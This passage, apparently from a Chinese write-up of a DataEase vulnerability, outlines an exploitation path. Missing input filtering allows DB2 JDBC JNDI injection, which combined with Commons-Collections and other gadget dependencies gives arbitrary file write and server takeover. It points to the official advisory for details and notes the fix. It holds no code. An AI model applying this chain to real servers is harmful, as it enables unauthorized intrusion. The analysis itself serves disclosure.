没有进行任何过滤,这就提供了jndi
注入的可能
同时项目中存在BeanFactory, ELProcessor, GroovyScriptFactor
等关键依赖
同时还有Commons-Collections 4.4.4
的依赖
利用方式很明显了,db2 jdbc jndi
注入配合CC 4.4.4
实现任意文件写入,写入恶意文件控制目标服务器权限。
具体利用官方通告写的很详细,利用Java-Chains
实现,不多做赘述,附上链接:
https://github.com/dataease/dataease/security/advisories/GHSA-7r8j-6whv-4j5p
新版本的不仅禁用了RMI
关键字,并且移除了上述敏感依赖。